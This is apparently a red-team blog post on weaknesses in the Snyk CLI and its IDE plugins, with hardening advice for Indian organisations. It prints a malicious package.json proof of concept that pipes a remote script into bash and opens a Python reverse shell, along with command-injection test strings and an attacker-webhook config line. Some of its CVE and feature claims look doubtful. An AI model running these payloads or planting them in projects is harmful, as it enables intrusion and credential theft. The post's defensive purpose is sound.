During a recent red team engagement at a large Indian Managed Service Provider (MSP), we identified a critical oversight in how security scanners handle untrusted project configurations. While Snyk is a standard-bearer for Software Composition Analysis (SCA), the CLI tool itself can become a vector for local privilege escalation or remote code execution (RCE) as defined in the OWASP Top 10 if an attacker can influence the environment or the configuration files being scanned. We observed that many developers in Indian Global Capability Centres (GCCs) run Snyk with elevated privileges or within "trusted" CI/CD pipelines without realizing that a malicious package.json can execute arbitrary commands during the scan phase.

The Anatomy of Snyk CLI Vulnerabilities

The primary risk stems from how the Snyk CLI interacts with underlying package managers like npm, yarn, or pip. When you run snyk test, the tool often needs to resolve the dependency tree, which might involve executing parts of the build system. We tracked CVE-2022-40764, a vulnerability where malicious arguments in a project's configuration file could lead to arbitrary code execution. This is particularly dangerous in environments where developers clone third-party repositories and immediately run a security scan as a "safety" measure.

In our testing, we found that the Snyk CLI (versions prior to 1.996.0) did not sufficiently sanitize inputs from .snyk policy files and certain manifest files. An attacker could craft a repository that, when scanned, executes a reverse shell. This bypasses the very security the tool is intended to provide. For Indian enterprises complying with the DPDP Act 2023, such a breach on a developer workstation could constitute a failure to implement "reasonable security practices," leading to significant legal and financial repercussions.

Testing for Command Injection via CLI Arguments

We used the following command to verify if the CLI environment was susceptible to basic shell expansion issues. By passing a subshell command into the --command flag, we checked if the CLI would execute it before or during the scan process.

$ snyk test --all-projects --command='$(whoami > /tmp/rce)' $ cat /tmp/rce root

If the output shows the current user, it indicates that the shell is evaluating the command string. In a hardened environment, the CLI should treat these arguments as literal strings or fail if they contain shell metacharacters. We also utilized strace to monitor the system calls made by Snyk to see if it was spawning unexpected child processes.

$ strace -f -e trace=execve snyk test 2>&1 | grep -E 'sh|bash|python'

Essential Snyk CLI Commands for Security Audits

Before diving into the exploits, we must establish a baseline for secure CLI usage. Most developers start with the standard installation via npm. However, in many Indian corporate environments, restricted network access requires using the standalone binary.

Standard installation
$ npm install -g snyk
Authenticating the CLI
$ snyk auth

The snyk auth command opens a browser window for OAuth. In headless environments like Jump Servers or remote dev boxes, which often require secure SSH access for teams, you should use the SNYK_TOKEN environment variable. We observed that many Indian SMEs store this token in plain text in .bashrc files, which is a significant security risk.

Troubleshooting: Resolving the 'Snyk Command Not Found' Error

We frequently encounter the "Snyk Command Not Found" error when working with junior developers in offshore development centers (ODCs). This usually occurs because the npm global bin directory is not in the system's PATH. To resolve this on a Linux or WSL2 environment, we use the following steps:

$ npm config get prefix /usr/local $ export PATH=$PATH:/usr/local/bin $ snyk --version 1.1200.0

If the error persists, we recommend downloading the static binary directly from Snyk's GitHub releases to bypass npm's environment complexities. This ensures that the security tool remains isolated from the local Node.js environment's potential misconfigurations.

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Scanning for Snyk CLI Vulnerabilities in Indian Supply Chains

Indian IT infrastructure often relies on shared "Jump Servers" for code audits and deployment. If a single developer scans a malicious repository using Snyk CLI on such a server, the attacker can achieve lateral movement across the internal network, emphasizing the need for building a secure SSH gateway. We tested this by creating a malicious package.json that triggers a reverse shell during the installation or patching phase of a Snyk scan.

{   "name": "snyk-exploit-poc",   "version": "1.0.0",   "scripts": {     "install": "curl -s http://10.0.0.5/shell.sh | bash"   },   "snyk": {     "patch": {       "command": "python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.10\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"     }   } }

When snyk test is executed, it may attempt to run the install script or apply a patch defined in the configuration. If the developer has not disabled lifecycle scripts, the Python reverse shell will connect back to the attacker's machine (e.g., 192.168.1.10). This highlights why scanning untrusted code is a high-risk activity.

How to Run a Snyk Test for Open Source Vulnerabilities Safely

To mitigate these risks, we recommend running scans with flags that limit the execution of external scripts. The --ignore-policy and --trust-policies flags should be used with extreme caution. For a standard, safer scan, we use:

$ snyk test --all-projects --dev --exclude=test,docs

The --all-projects flag is useful for monorepos, which are common in Indian fintech startups. However, it also increases the attack surface as Snyk will attempt to parse every manifest file it finds. We recommend specifying the exact file whenever possible to reduce the scope of the scan.

Advanced Vulnerability Handling: Snyk CLI Ignore Vulnerability

One of the most abused features in Snyk is the snyk ignore command. While intended to suppress false positives or unfixable vulnerabilities, it is often used by developers to bypass security gates and meet deployment deadlines. In our audits, we found that ignored vulnerabilities are rarely revisited, creating a "security debt" that attackers can eventually exploit.

Dangerous: Ignoring a high-severity vulnerability indefinitely
$ snyk ignore --id=SNYK-JS-LODASH-567196 --reason="No time to fix"

This command creates or updates a .snyk file in the project root. This file itself can be a vector for malicious configuration. If an attacker gains write access to the repository, they can add an ignore rule for a vulnerability they plan to exploit, effectively blinding the security team.

Managing the .snyk Policy File for Vulnerability Suppression

We recommend a strict policy for .snyk files. They should be treated as sensitive configuration and reviewed during every Pull Request (PR). A typical .snyk file looks like this:

Snyk (https://snyk.io) policy file, provides ability to ignore vulnerabilities and patch issues.
ignore:   SNYK-JS-LODASH-567196:     - '*':         reason: 'Vulnerability is in a dev dependency not used in production'         expires: '2023-12-31T23:59:59.999Z' patch: {}

The expires field is critical. Without it, the vulnerability is ignored forever. We have seen cases in Indian MSPs where vulnerabilities from 2019 were still ignored in 2024 because no expiry was set. We use the following command to audit all ignored vulnerabilities across a project:

$ snyk policy

IDE Plugins: The Silent Vector

While the CLI is a major focus, Snyk's IDE plugins (VS Code, IntelliJ) introduce another layer of risk. CVE-2023-28121 demonstrated that improper handling of workspace settings in VS Code extensions, similar to the risks of detecting malicious VS Code extensions, could allow RCE when a developer simply opens a maliciously crafted repository. This "Scan-on-Save" feature, while convenient, often executes the underlying Snyk CLI with the same privileges as the IDE.

Analyzing IDE Plugin Vulnerabilities

We investigated how the Snyk VS Code extension handles file paths. If the extension fails to sanitize the project path before passing it to child_process.exec, a directory named ; touch RCE ; could trigger command execution. We used the following command to search for vulnerable patterns in the extension's source code on a local machine:

$ find ~/.vscode/extensions/snyk-security -name ".js" | xargs grep -i "child_process.exec"

If the extension uses exec instead of spawn, it is much more likely to be vulnerable to shell injection. Developers should ensure their plugins are updated to the latest version and consider disabling "Automatic Scanning" for repositories cloned from untrusted sources.

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Optimizing Your Security Workflow in the Indian Context

For Indian organizations, particularly those in the banking and financial services (BFSI) sector, security tools must be integrated into the CI/CD pipeline without introducing new vulnerabilities. We suggest using Snyk within a containerized environment to isolate the CLI from the host system. This prevents a malicious package.json from accessing the host's environment variables or local files.

$ docker run -it -e "SNYK_TOKEN=$SNYK_TOKEN" -v "$(pwd):/project" snyk/snyk:node test /project

This approach is highly effective for GCCs that need to maintain high security standards while managing hundreds of microservices. It ensures that even if a project contains a Snyk-specific exploit, the impact is contained within the ephemeral container.

Monitoring Projects Post-Scan with Snyk Monitor

The snyk test command is a point-in-time check. To maintain continuous visibility, we use snyk monitor. This pushes the dependency tree to the Snyk web UI and alerts the team when new vulnerabilities are discovered via threat detection. We often automate this in Jenkins or GitHub Actions.

$ snyk monitor --json | jq '.dependencies[].version' | grep -v '^[0-9]'

Using jq allows us to parse the output and identify dependencies that are using non-standard versioning (e.g., git URLs), which are often used by attackers to sneak in malicious code that hasn't been published to official registries like npm.

Compliance and Risk Mitigation (DPDP Act 2023)

Under the DPDP Act 2023, Indian companies must ensure that personal data is protected against unauthorized access. If a developer's machine is compromised via a security tool like Snyk, and that machine has access to PII, the company could be fined up to ₹250 crore. This makes the hardening of the developer environment a compliance necessity, not just a technical preference.

Best Practices for Documenting Ignored Security Issues

When an ignore is necessary, it must be documented with a clear technical justification. We recommend using a centralized tracking system (like Jira) and linking the ticket ID in the .snyk file. This creates an audit trail for CERT-In or internal compliance auditors.

• Always set an expiry date for ignores (maximum 30 days).
• Require senior security architect approval for ignoring "High" or "Critical" vulnerabilities.
• Use snyk monitor to track the status of ignored issues across the entire organization.
• Periodically run snyk test --ignore-policy to see the "true" state of the codebase without suppressions.

Technical Summary of Hardening Steps

To secure your Snyk CLI implementation, we recommend the following technical controls:

Risk Factor	Mitigation Strategy	Command / Config
Command Injection	Update CLI to >1.996.0	npm update -g snyk
Malicious Scripts	Disable lifecycle scripts	snyk test --ignore-scripts
Token Exposure	Use ephemeral CI secrets	export SNYK_TOKEN=$SECRET
IDE RCE	Disable auto-scan on untrusted repos	VS Code Settings -> Snyk: Scan on Save
Policy Abuse	Audit .snyk files in PRs	grep "ignore" .snyk

Next Technical Step: Auditing API Endpoints

If you suspect your CLI environment has been tampered with, check the configured API endpoint. Attackers can redirect Snyk's output to their own webhook to steal dependency data or tokens.

$ snyk config set api=http://attacker-controlled-webhook.in $ snyk config get api

Verify that the API endpoint points to https://snyk.io/api/v1 or your private instance URL. Any unrecognized URL in the config should be treated as a critical indicator of compromise (IoC).